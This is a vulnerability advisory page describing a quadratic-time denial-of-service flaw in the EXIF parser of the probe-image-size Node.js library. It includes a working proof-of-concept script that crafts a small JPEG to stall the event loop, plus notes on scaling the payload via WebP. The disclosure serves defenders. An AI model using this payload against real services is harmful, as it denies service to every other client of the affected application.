
Cloud Vulnerability DB
A community-led vulnerabilities database
probe-image-size reads EXIF orientation from JPEG, WebP and AVIF images by default, through both probe() and probe.sync(). Its EXIF directory parser (ExifParser.scan_ifd in lib/exif_utils.js) reads a 32-bit component count for every IFD entry and copies that many components into a fresh array, rejecting an entry only when count * component_size runs past the end of the buffer. A BYTE component is one byte, so a single entry can claim a count as large as the whole EXIF segment, and its data pointer can point back to the start of the segment, so many entries each re-read the same bytes. An IFD holds about segment_size / 12 such entries, which makes parsing O(n^2) in the segment size, with one array allocation per entry on top. A crafted 64 KB image blocks the Node.js event loop for about 11 seconds.
Reproduced on a clean npm install probe-image-size@7.4.0.
const probe = require('probe-image-size')
// A 64 KB EXIF (little-endian TIFF) whose single IFD holds ~5400 entries.
// Each entry is format 1 (BYTE), count = the whole segment, data pointer 0,
// so scan_ifd copies `count` bytes into a new array for every entry: O(n^2).
const S = 65527
const exif = Buffer.alloc(S)
exif.write('II', 0)
exif[2] = 0x2a
exif.writeUInt32LE(8, 4) // first IFD at offset 8
const entries = Math.floor((S - 14) / 12)
exif.writeUInt16LE(entries, 8)
for (let i = 0, off = 10; i < entries; i++, off += 12) {
exif.writeUInt16LE(0x0100, off) // tag
exif.writeUInt16LE(1, off + 2) // format = BYTE
exif.writeUInt32LE(S, off + 4) // count = segment length
exif.writeUInt32LE(0, off + 8) // data pointer = 0
}
// Wrap the EXIF in a minimal JPEG APP1 segment.
const sig = Buffer.from('Exif\0\0', 'binary')
const len = 2 + sig.length + exif.length
const jpeg = Buffer.concat([Buffer.from([0xff, 0xd8, 0xff, 0xe1, len >> 8, len & 0xff]), sig, exif])
console.time('probe')
probe.sync(jpeg) // ~11 s of blocked event loop for a 64 KB input
console.timeEnd('probe')An 8 KB version of the same file takes about 70 ms, a real image under 1 ms. The probe(stream) async path used by probe(url) reaches the same parser and blocks for the same time. A WebP EXIF chunk carries the payload just as well, and its 32-bit chunk length lets the segment grow past the JPEG marker limit.
Probing images from an untrusted source is the library's main use: a URL handed to probe(url) for link previews or feed thumbnails, or an upload handed to probe.sync(buffer). One small request stalls the single-threaded event loop for seconds, and a few in a row deny service to every other client. Orientation parsing runs under default options with no way to turn it off, and the same input affects both the async and sync APIs.
This is availability only, and only reaches applications that probe attacker-influenced images. It is a distinct code path from the SVG-parser quadratic already fixed in GHSA-gjj5-9665-rwrc.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."